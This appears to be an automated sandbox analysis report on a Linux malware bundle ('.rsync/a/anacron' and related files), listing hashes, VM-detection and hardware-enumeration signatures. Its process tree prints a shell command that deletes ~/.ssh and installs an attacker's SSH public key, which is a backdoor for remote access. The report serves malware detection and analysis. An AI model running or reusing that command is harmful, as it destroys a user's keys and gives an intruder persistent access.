Overview
overview
10Static
static
10.rsync/a/a
ubuntu-18.04-amd64
7.rsync/a/a
debian-9-armhf
7.rsync/a/a
debian-9-mips
7.rsync/a/a
debian-9-mipsel
7.rsync/a/anacron
ubuntu-22.04-amd64
6.rsync/a/cron
ubuntu-22.04-amd64
1.rsync/a/run
ubuntu-18.04-amd64
3.rsync/a/run
debian-9-armhf
3.rsync/a/run
debian-9-mips
3.rsync/a/run
debian-9-mipsel
3.rsync/a/stop
ubuntu-18.04-amd64
6.rsync/a/stop
debian-9-armhf
6.rsync/a/stop
debian-9-mips
6.rsync/a/stop
debian-9-mipsel
6.rsync/c/go
ubuntu-18.04-amd64
3.rsync/c/go
debian-9-armhf
3.rsync/c/go
debian-9-mips
3.rsync/c/go
debian-9-mipsel
3.rsync/c/golan
ubuntu-18.04-amd64
1.rsync/c/golan
debian-9-armhf
1.rsync/c/golan
debian-9-mips
1.rsync/c/golan
debian-9-mipsel
1.rsync/c/l...c.so.6
ubuntu-22.04-amd64
.rsync/c/l...l.so.2
ubuntu-24.04-amd64
1.rsync/c/l...s.so.2
ubuntu-22.04-amd64
1.rsync/c/l...s.so.2
ubuntu-24.04-amd64
1.rsync/c/l...d.so.0
ubuntu-24.04-amd64
.rsync/c/l....23.so
ubuntu-24.04-amd64
1.rsync/c/l...v.so.2
ubuntu-24.04-amd64
1.rsync/c/lib/32/tsm
ubuntu-24.04-amd64
1.rsync/c/l...c.so.6
ubuntu-22.04-amd64
1.rsync/c/l...l.so.2
ubuntu-24.04-amd64
1Analysis
-
max time kernel
149s -
max time network
150s -
platform
ubuntu-22.04_amd64 -
resource
ubuntu2204-amd64-20240522.1-en -
resource tags
arch:amd64arch:i386image:ubuntu2204-amd64-20240522.1-enkernel:5.15.0-105-genericlocale:en-usos:ubuntu-22.04-amd64system -
submitted
28-06-2024 12:54
Behavioral task
behavioral1
Sample
.rsync/a/a
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral2
Sample
.rsync/a/a
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral3
Sample
.rsync/a/a
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
.rsync/a/a
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral5
Sample
.rsync/a/anacron
Resource
ubuntu2204-amd64-20240522.1-en
Behavioral task
behavioral6
Sample
.rsync/a/cron
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral7
Sample
.rsync/a/run
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral8
Sample
.rsync/a/run
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral9
Sample
.rsync/a/run
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral10
Sample
.rsync/a/run
Resource
debian9-mipsel-20240611-en
Behavioral task
behavioral11
Sample
.rsync/a/stop
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral12
Sample
.rsync/a/stop
Resource
debian9-armhf-20240611-en
Behavioral task
behavioral13
Sample
.rsync/a/stop
Resource
debian9-mipsbe-20240418-en
Behavioral task
behavioral14
Sample
.rsync/a/stop
Resource
debian9-mipsel-20240226-en
Behavioral task
behavioral15
Sample
.rsync/c/go
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral16
Sample
.rsync/c/go
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral17
Sample
.rsync/c/go
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral18
Sample
.rsync/c/go
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral19
Sample
.rsync/c/golan
Resource
ubuntu1804-amd64-20240611-en
Behavioral task
behavioral20
Sample
.rsync/c/golan
Resource
debian9-armhf-20240418-en
Behavioral task
behavioral21
Sample
.rsync/c/golan
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral22
Sample
.rsync/c/golan
Resource
debian9-mipsel-20240418-en
Behavioral task
behavioral23
Sample
.rsync/c/lib/32/libc.so.6
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral24
Sample
.rsync/c/lib/32/libdl.so.2
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral25
Sample
.rsync/c/lib/32/libnss_dns.so.2
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral26
Sample
.rsync/c/lib/32/libnss_files.so.2
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral27
Sample
.rsync/c/lib/32/libpthread.so.0
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral28
Sample
.rsync/c/lib/32/libresolv-2.23.so
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral29
Sample
.rsync/c/lib/32/libresolv.so.2
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral30
Sample
.rsync/c/lib/32/tsm
Resource
ubuntu2404-amd64-20240523-en
Behavioral task
behavioral31
Sample
.rsync/c/lib/64/libc.so.6
Resource
ubuntu2204-amd64-20240611-en
Behavioral task
behavioral32
Sample
.rsync/c/lib/64/libdl.so.2
Resource
ubuntu2404-amd64-20240523-en
General
-
Target
.rsync/a/anacron
-
Size
2.8MB
-
MD5
8d5d71c56b1f807edac5ac734feab41a
-
SHA1
ca2064303d74f5fec98d717f35cd8ee20e81b722
-
SHA256
49da718733de850ddd7e871fee1d2f041508d28b9cfc58a822786151004a9c2c
-
SHA512
514337791f6c2b71e9303899a6206f92eb905c780729008f3f754f256811332caa5d608662272a6eb3b1f3cf70d1ec528509bbe3f68c7960fc9df63c463fce3f
-
SSDEEP
49152:m7rTifP8qyUnJ1jIYuOwxC7mQ595+T91hGtZ1:Irm38qyUnJ1jgx0B5evhG
Malware Config
Signatures
-
Checks hardware identifiers (DMI) 1 TTPs 4 IoCs
Checks DMI information which indicate if the system is a virtual machine.
Processes:
anacrondescription ioc process File opened for reading /sys/devices/virtual/dmi/id/product_name anacron File opened for reading /sys/devices/virtual/dmi/id/board_vendor anacron File opened for reading /sys/devices/virtual/dmi/id/bios_vendor anacron File opened for reading /sys/devices/virtual/dmi/id/sys_vendor anacron -
Reads hardware information 1 TTPs 14 IoCs
Accesses system info like serial numbers, manufacturer names etc.
Processes:
anacrondescription ioc process File opened for reading /sys/devices/virtual/dmi/id/product_serial anacron File opened for reading /sys/devices/virtual/dmi/id/product_uuid anacron File opened for reading /sys/devices/virtual/dmi/id/board_version anacron File opened for reading /sys/devices/virtual/dmi/id/chassis_asset_tag anacron File opened for reading /sys/devices/virtual/dmi/id/product_version anacron File opened for reading /sys/devices/virtual/dmi/id/board_serial anacron File opened for reading /sys/devices/virtual/dmi/id/board_asset_tag anacron File opened for reading /sys/devices/virtual/dmi/id/chassis_vendor anacron File opened for reading /sys/devices/virtual/dmi/id/bios_date anacron File opened for reading /sys/devices/virtual/dmi/id/board_name anacron File opened for reading /sys/devices/virtual/dmi/id/chassis_type anacron File opened for reading /sys/devices/virtual/dmi/id/bios_version anacron File opened for reading /sys/devices/virtual/dmi/id/chassis_version anacron File opened for reading /sys/devices/virtual/dmi/id/chassis_serial anacron -
Checks CPU configuration 1 TTPs 1 IoCs
Checks CPU information which indicate if the system is a virtual machine.
Processes:
anacrondescription ioc process File opened for reading /proc/cpuinfo anacron -
Reads CPU attributes 1 TTPs 2 IoCs
Processes:
anacrondescription ioc process File opened for reading /sys/devices/system/cpu/online anacron File opened for reading /sys/devices/system/cpu/possible anacron -
Enumerates kernel/hardware configuration 1 TTPs 50 IoCs
Reads contents of /sys virtual filesystem to enumerate system information.
Processes:
anacrondescription ioc process File opened for reading /sys/kernel/mm/hugepages/hugepages-2048kB/nr_hugepages anacron File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-1048576kB/nr_hugepages anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/number_of_sets anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/physical_line_partition anacron File opened for reading /sys/bus/cpu/devices anacron File opened for reading /sys/bus/cpu/devices/cpu0/topology/package_cpus anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index5/shared_cpu_map anacron File opened for reading /sys/bus/dax/devices anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/coherency_line_size anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index4/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/coherency_line_size anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/number_of_sets anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/level anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/size anacron File opened for reading /sys/bus/node/devices/node0/hugepages/hugepages-2048kB/nr_hugepages anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/type anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/type anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/coherency_line_size anacron File opened for reading /sys/bus/node/devices/node0/hugepages anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index9/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/topology/physical_package_id anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/size anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index1/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_id anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/size anacron File opened for reading /sys/bus/node/devices/node0/access0/initiators anacron File opened for reading /sys/bus/cpu/devices/cpu0/topology/die_cpus anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/type anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index7/shared_cpu_map anacron File opened for reading /sys/devices/virtual/dmi/id anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/level anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index6/shared_cpu_map anacron File opened for reading /sys/bus/node/devices/node0/cpumap anacron File opened for reading /sys/bus/dax/target_node anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/number_of_sets anacron File opened for reading /sys/kernel/mm/hugepages/hugepages-1048576kB/nr_hugepages anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index0/physical_line_partition anacron File opened for reading /sys/bus/dax/devices/target_node anacron File opened for reading /sys/kernel/mm/hugepages anacron File opened for reading /sys/devices/system/node/online anacron File opened for reading /sys/bus/node/devices/node0/meminfo anacron File opened for reading /sys/bus/cpu/devices/cpu0/topology/core_cpus anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/level anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index2/type anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index8/shared_cpu_map anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/level anacron File opened for reading /sys/bus/cpu/devices/cpu0/cache/index3/physical_line_partition anacron -
Reads runtime system information 4 IoCs
Reads data from /proc virtual filesystem.
Processes:
anacrondescription ioc process File opened for reading /proc/mounts anacron File opened for reading /proc/meminfo anacron File opened for reading /proc/driver/nvidia/gpus anacron File opened for reading /proc/elog anacron
Processes
-
/tmp/.rsync/a/anacron/tmp/.rsync/a/anacron1⤵
- Checks hardware identifiers (DMI)
- Reads hardware information
- Checks CPU configuration
- Reads CPU attributes
- Enumerates kernel/hardware configuration
- Reads runtime system information
PID:1574 -
/bin/shsh -c "cd ~ && rm -rf .ssh && mkdir .ssh && echo \"ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr\">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~"2⤵PID:1575